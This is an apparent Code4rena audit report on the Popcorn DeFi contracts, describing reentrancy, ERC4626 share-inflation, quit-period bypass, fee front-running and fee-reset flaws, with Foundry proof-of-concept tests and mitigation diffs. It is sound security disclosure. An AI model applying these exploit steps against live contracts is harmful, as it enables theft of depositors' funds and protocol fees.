Popcorn contest - immeas's results

Lines of code

https://github.com/code-423n4/2023-01-popcorn/blob/main/src/utils/MultiRewardStaking.sol#L186

Vulnerability details

Impact

An attacker can drain all the tokens from MultiRewardStaking

Proof of Concept

In claimtRewards important state changes are done after interactions with tokens:

File: MultiRewardStaking.sol

  function claimRewards(address user, IERC20[] memory _rewardTokens) external accrueRewards(msg.sender, user) {
    for (uint8 i; i < _rewardTokens.length; i++) {
      uint256 rewardAmount = accruedRewards[user][_rewardTokens[i]];

      if (rewardAmount == 0) revert ZeroRewards(_rewardTokens[i]);

      EscrowInfo memory escrowInfo = escrowInfos[_rewardTokens[i]];

      if (escrowInfo.escrowPercentage > 0) {
        _lockToken(user, _rewardTokens[i], rewardAmount, escrowInfo);
        emit RewardsClaimed(user, _rewardTokens[i], rewardAmount, true);
      } else {
        _rewardTokens[i].transfer(user, rewardAmount);
        emit RewardsClaimed(user, _rewardTokens[i], rewardAmount, false);
      }

      accruedRewards[user][_rewardTokens[i]] = 0;
    }
  }

If an erc777 token (or other ERC20 that supports callbacks for transfers) is used as rewardToken, an attacker could use reentrancy to steal all the tokens since the rewards is zeroed after interactions.

Tools Used

manual audit, vs code

Recommended Mitigation Steps

Follow checks, effects, interactions:

diff --git a/src/utils/MultiRewardStaking.sol b/src/utils/MultiRewardStaking.sol
index 95ebefd..f8433aa 100644
--- a/src/utils/MultiRewardStaking.sol
+++ b/src/utils/MultiRewardStaking.sol
@@ -175,6 +175,8 @@ contract MultiRewardStaking is ERC4626Upgradeable, OwnedUpgradeable {
 
       EscrowInfo memory escrowInfo = escrowInfos[_rewardTokens[i]];
 
+      accruedRewards[user][_rewardTokens[i]] = 0;
+
       if (escrowInfo.escrowPercentage > 0) {
         _lockToken(user, _rewardTokens[i], rewardAmount, escrowInfo);
         emit RewardsClaimed(user, _rewardTokens[i], rewardAmount, true);
@@ -182,8 +184,6 @@ contract MultiRewardStaking is ERC4626Upgradeable, OwnedUpgradeable {
         _rewardTokens[i].transfer(user, rewardAmount);
         emit RewardsClaimed(user, _rewardTokens[i], rewardAmount, false);
       }
-
-      accruedRewards[user][_rewardTokens[i]] = 0;
     }
   }

or use an OpenZepplin reentrancy guard.

Lines of code

https://github.com/code-423n4/2023-01-popcorn/blob/main/src/vault/Vault.sol#L285-L287

Vulnerability details

Description

This is the classic share inflation attack described here: https://ethereum-magicians.org/t/address-eip-4626-inflation-attacks-with-virtual-shares-and-assets/12677

The popcorn Vault is an abstraction on top of other vaults which acts like adapters to wrap other yield bearing protocols. Hence the asset in Vault are the shares in this adapter.

An early user can get shares in the underlying vault by depositing assets directly there. Then deposit 1 wei into the vault and donate the minted adapter shares to the vault. Effectively exploding the share value.

Impact

An early user can drastically impact the share value for later users.

Proof of Concept

PoC test in Vault.t.sol:

  function test__inital_share_price_manipulation() public {
    // setup
    asset.mint(alice, 1e18);

    vm.startPrank(alice);
    asset.approve(address(vault), 1);
    asset.approve(address(adapter), 1e18-1);

    // lock some assets directly in the adapter to get adapter shares
    adapter.deposit(1e18-1,alice);

    // deposit 1 wei into vault
    vault.deposit(1);

    // vault conversion is 1:1 (1 share requires 1 asset)
    console.log("assets required per share before",vault.convertToAssets(1));

    // transfer adapter shares to vault
    adapter.transfer(address(vault),1e18-1);
    vm.stopPrank();

    // vault conversion is now (1e18:1, 1 share requires 1e18 assets)
    console.log("assets required per share after",vault.convertToAssets(1));
  }

Tools Used

manual audit, vs code, forge

Recommended Mitigation Steps

There are a couple of different approaches to mitigating this:

• Burn first 1000 shares

• In the same way that the asset ERC4626 contract keeps an internal balance the vault could

• only allow Vault to deposit/mint in the adapter.

• Follow the recommendation in https://ethereum-magicians.org/t/address-eip-4626-inflation-attacks-with-virtual-shares-and-assets/12677 and inflate the decimals in the shares.

Lines of code

https://github.com/code-423n4/2023-01-popcorn/blob/main/src/vault/Vault.sol#L629-L636

Vulnerability details

Description

The quitPeriod is supposed to give users time to rage quit if there are changes they don't agree with. The quit period is limited to be within 1 day and a week and can only be changed by owner:

File: Vault.sol

629:    function setQuitPeriod(uint256 _quitPeriod) external onlyOwner {
630:        if (_quitPeriod < 1 days || _quitPeriod > 7 days)
631:            revert InvalidQuitPeriod();
632:
633:        quitPeriod = _quitPeriod;
634:
635:        emit QuitPeriodSet(quitPeriod);
636:    }

However the change can be done instantly. An owner can propose a change, users will expect to wait three days for it to be applied, and after one day change the quitPeriod to 1 day and apply the changes.

Impact

Changes to fees and adapters can happen faster than users expect not giving them time enough to react.

Proof of Concept

Small PoC in Vault.t.sol:

  function test__set_fees_after_1_day() public {
    vault.proposeFees(
      VaultFees({
        deposit: 1e17,
        withdrawal: 1e17,
        management: 1e17,
        performance: 1e17
      })
    );
    // users expect to have three days
    console.log("quit period",vault.quitPeriod());

    // jump 1 day
    vm.warp(block.timestamp + 1 days);
    // owner changes quit period
    vault.setQuitPeriod(1 days);
    // and does the changes
    vault.changeFees();
  }

Tools Used

manual audit, vs code, forge

Recommended Mitigation Steps

Either lock quitPeriod changes for the old quitPeriod.

Or apply the duration when the change is proposed:

diff --git a/src/vault/Vault.sol b/src/vault/Vault.sol
index 7a8f941..bccc561 100644
--- a/src/vault/Vault.sol
+++ b/src/vault/Vault.sol
@@ -531,14 +531,14 @@ contract Vault is
         ) revert InvalidVaultFees();
 
         proposedFees = newFees;
-        proposedFeeTime = block.timestamp;
+        proposedFeeTime = block.timestamp + quitPeriod;
 
         emit NewFeesProposed(newFees, block.timestamp);
     }
 
     /// @notice Change fees to the previously proposed fees after the quit period has passed.
     function changeFees() external {
-        if (block.timestamp < proposedFeeTime + quitPeriod)
+        if (block.timestamp < proposedFeeTime)
             revert NotPassedQuitPeriod(quitPeriod);
 
         emit ChangedFees(fees, proposedFees);

Same applies for changeAdapter

Lines of code

https://github.com/code-423n4/2023-01-popcorn/blob/main/src/vault/Vault.sol#L496-L499

Vulnerability details

Description

performanceFee is a fee on the profits of the vault. The feeRecipient (or any user) can collect these at any point.

They rely on the difference between the current share value and the highWaterMark that records a historical share value.

The issue is that this highWaterMark is written on interactions with the vault: deposit, mint, withdraw. Hence a user can front run the fee collection with any of these calls. That will set the highWaterMark to the current share value and remove the performance fee.

Impact

A malicious user can maximize the yield and deny any performance fee by front running the fee collection with a call to either deposit, mint or withdraw with only dust amounts.

Proof of Concept

PoC test in Vault.t.sol

  function test__front_run_performance_fee() public {
   _setFees(0, 0, 0, 1e17); // 10% performance fee

    asset.mint(alice, 1e18);

    vm.startPrank(alice);
    asset.approve(address(vault), 1e18);
    vault.deposit(1e18);
    vm.stopPrank();

    asset.mint(address(adapter),1e18); // fake yield

    // performanceFee is 1e17 (10% of 1e18)
    console.log("performanceFee before",vault.accruedPerformanceFee());

    vm.prank(alice);
    vault.withdraw(1); // malicious user withdraws dust which triggers update of highWaterMark

    // performanceFee is 0
    console.log("performanceFee after",vault.accruedPerformanceFee());
  }

Tools Used

manual audit, vs code, forge

Recommended Mitigation Steps

At every deposit, mint, redeem and withdraw, take fees before adding or removing the new users shares and assets.

Lines of code

https://github.com/code-423n4/2023-01-popcorn/blob/main/src/vault/Vault.sol#L491

Vulnerability details

Description

managementFee is a fee that is taken on the TVL. performanceFee is a fee taken on the yield received. Both as a percentage of assets.

However, they are used directly to hand out shares:

File: Vault.sol

480:    modifier takeFees() {
481:        uint256 managementFee = accruedManagementFee();
482:        uint256 totalFee = managementFee + accruedPerformanceFee();

...

488:        if (managementFee > 0) feesUpdatedAt = block.timestamp;
489:
490:        if (totalFee > 0 && currentAssets > 0)
491:            _mint(feeRecipient, convertToShares(totalFee));
492:
493:        _;
494:    }

Since the share minting will lessen the value per share, feeRecipient will receive shares worth less in asset than what the fees are configured for.

Impact

feeRecipient will receive a less than expected managementFee and performanceFee.

Proof of Concept

PoC test in Vault.t.sol:

  function test__fee_calculation() public {
    _setFees(0, 0, 1e17, 1e17); // 10% fees
  
    // reset feesUpdatedAt
    vault.takeManagementAndPerformanceFees(); 

    asset.mint(alice, 1e18);    
    vm.startPrank(alice);
    asset.approve(address(vault), 1e18);
    vault.deposit(1e18);
    vm.stopPrank();

    // time passes
    vm.warp(block.timestamp + 356.25 days);

    asset.mint(address(adapter),1e18); // fake yield

    // fees are 10%
    console.log("managementFee, 10%% of assets",vault.accruedManagementFee());
    console.log("performanceFee, 10%% of price increase",vault.accruedPerformanceFee());

    vault.takeManagementAndPerformanceFees();

    console.log("shares minted for feeRecipient",vault.balanceOf(feeRecipient));

    // 10% of 2e18 = 2e17 (mgmt), 10% of 1e18 (yield) = 1e17 should give ~3e17 in fees
    console.log("assets received by feeRecipient",vault.convertToAssets(vault.balanceOf(feeRecipient)));
  }

Tools Used

manual audit, vs code, forge

Recommended Mitigation Steps

diff --git a/src/vault/Vault.sol b/src/vault/Vault.sol
index 7a8f941..1799a06 100644
--- a/src/vault/Vault.sol
+++ b/src/vault/Vault.sol
@ -488,7 +488,7 @@ contract Vault is
         if (managementFee > 0) feesUpdatedAt = block.timestamp;
 
         if (totalFee > 0 && currentAssets > 0)
-            _mint(feeRecipient, convertToShares(totalFee));
+            _mint(feeRecipient, totalFee.mulDiv(totalSupply(),currentAssets - totalFee,Math.Rounding.Up));
 
         _;
     }

Some explanation of the equation totalFee.mulDiv(totalSupply(),currentAssets - totalFee,Math.Rounding.Up):

you get the increase in shares you need from this equation, which is the end state you want to achieve:

$fees = \Delta shares * \frac{assets}{shares + \Delta shares}$

Which you can re-arrange to:

$\Delta shares * (assets - fees) = fees * supply$

which gives you the equation in the code above:

$\Delta shares = fees * \frac{supply}{assets - fees}$

Lines of code

https://github.com/code-423n4/2023-01-popcorn/blob/main/src/vault/Vault.sol#L540-L546

Vulnerability details

Description

Popcorn vaults have a variety of fees that can be configured. Once deployed, the owner of the vault has the ability to change the fees with a timelock, 3 days by default. When the timelock has passed anyone can apply the changes.

The issue is that the call to change the fees does not check that there are any proposed fees:

File: vault/Vault.sol

540:    function changeFees() external {
541:        if (block.timestamp < proposedFeeTime + quitPeriod)
542:            revert NotPassedQuitPeriod(quitPeriod);
543:
544:        emit ChangedFees(fees, proposedFees);
545:        fees = proposedFees;
546:    }

proposedFeeTime is initialized to 0 so proposedFeeTime + quitPeriod is 1970-01-03. proposedFees is also initialized to 0 hence calling changeFees after deploy, before any proposed fee changes are done, will set all fees to 0.

This can be fixed by proposing a new fee, but that has to wait quitPeriod (default 3 days) until it can be applied.

Impact

Anyone can set all fees to 0 after deploy. This can be fixed after quitPeriod which by default is 3 days but can be changed to 1 day. Until then fees will be 0.

Proof of Concept

PoC test in Vault.t.sol:

  function test__change_fees_after_deploy() public {
    // must jump forward a bit since test timestamp starts at 0
    vm.warp(block.timestamp + 3 days + 1);

    // create a vault with fees
    address vaultAddress = address(new Vault());
    Vault _vault = Vault(vaultAddress);
    _vault.initialize(
      IERC20(address(asset)),
      IERC4626(address(adapter)),
      VaultFees({ deposit: 1e17, withdrawal: 1e17, management: 1e17, performance: 1e17 }),
      feeRecipient,
      address(this)
    );

    // fees before
    (uint64 deposit, uint64 withdrawal, uint64 management, uint64 performance) = _vault.fees();
    assertEq(1e17,deposit);
    assertEq(1e17,withdrawal);
    assertEq(1e17,management);
    assertEq(1e17,performance);

    // anyone can call change fees and set them to 0
    vm.prank(alice);
    _vault.changeFees();

    // all fees are set to 0 after
    (deposit, withdrawal, management, performance) = _vault.fees();
    assertEq(0,deposit);
    assertEq(0,withdrawal);
    assertEq(0,management);
    assertEq(0,performance);
  }

Tools Used

manual audit, vs code, forge

Recommended Mitigation Steps

Check that propsedFeeTime != 0 and set it to 0 after fees are changed:

diff --git a/src/vault/Vault.sol b/src/vault/Vault.sol
index 7a8f941..d7fc47d 100644
--- a/src/vault/Vault.sol
+++ b/src/vault/Vault.sol
@@ -538,11 +538,15 @@ contract Vault is
 
     /// @notice Change fees to the previously proposed fees after the quit period has passed.
     function changeFees() external {
+        if (proposedFeeTime == 0)
+            revert("No proposed fees"); // replace with a proper error
+
         if (block.timestamp < proposedFeeTime + quitPeriod)
             revert NotPassedQuitPeriod(quitPeriod);
 
         emit ChangedFees(fees, proposedFees);
         fees = proposedFees;
+        proposedFeeTime = 0;
     }
 
     /**

low

L-1 no invalidate nonce

https://github.com/code-423n4/2023-01-popcorn/blob/main/src/vault/adapter/abstracts/AdapterBase.sol#L627

https://github.com/code-423n4/2023-01-popcorn/blob/main/src/vault/Vault.sol#L659

If a user wants to withdraw their permit there's no way currently.

L-2 no validation on fee parameters

https://github.com/code-423n4/2023-01-popcorn/blob/main/src/vault/Vault.sol#L88

There's validation when changing them but not creating the vault. possibly you could be stuck with bad fee configuration for three days

L-3 Vault::withdraw triggers syncFeeCheckpoint but not Vault::redeem

https://github.com/code-423n4/2023-01-popcorn/blob/main/src/vault/Vault.sol#L257

Either none of them should trigger or both of them.

non-crit

NC-1 unused function parameter

vault is not used

https://github.com/code-423n4/2023-01-popcorn/blob/main/src/vault/VaultController.sol#L390

remove if not used

NC-2 unused variable

https://github.com/code-423n4/2023-01-popcorn/blob/main/src/vault/Vault.sol#L448

the state variable highWaterMark is mistakenly used instead of highWaterMark_ in the code snippet:

File: Vault.sol

453:            performanceFee > 0 && shareValue > highWaterMark
454:                ? performanceFee.mulDiv(
455:                    (shareValue - highWaterMark) * totalSupply(),
456:                    1e36,
457:                    Math.Rounding.Down
458:                )
459:                : 0;

NC-3 incorrect natspec

1

https://github.com/code-423n4/2023-01-popcorn/blob/main/src/vault/DeploymentController.sol#L60

adds a new template not new category and caller must not be owner at all

2

https://github.com/code-423n4/2023-01-popcorn/blob/main/src/vault/Vault.sol#L425

calculation is done based on seconds not minutes

3

https://github.com/code-423n4/2023-01-popcorn/blob/main/src/vault/VaultController.sol#L181

https://github.com/code-423n4/2023-01-popcorn/blob/main/src/vault/VaultController.sol#L274

caller is canCreate not owner

NC-4 wrong error

https://github.com/code-423n4/2023-01-popcorn/blob/main/src/utils/MultiRewardEscrow.sol#L98

duration is not an amount

NC-5 consider returning id from MultiRewardEscrow::lock

https://github.com/code-423n4/2023-01-popcorn/blob/main/src/utils/MultiRewardEscrow.sol#L88-L130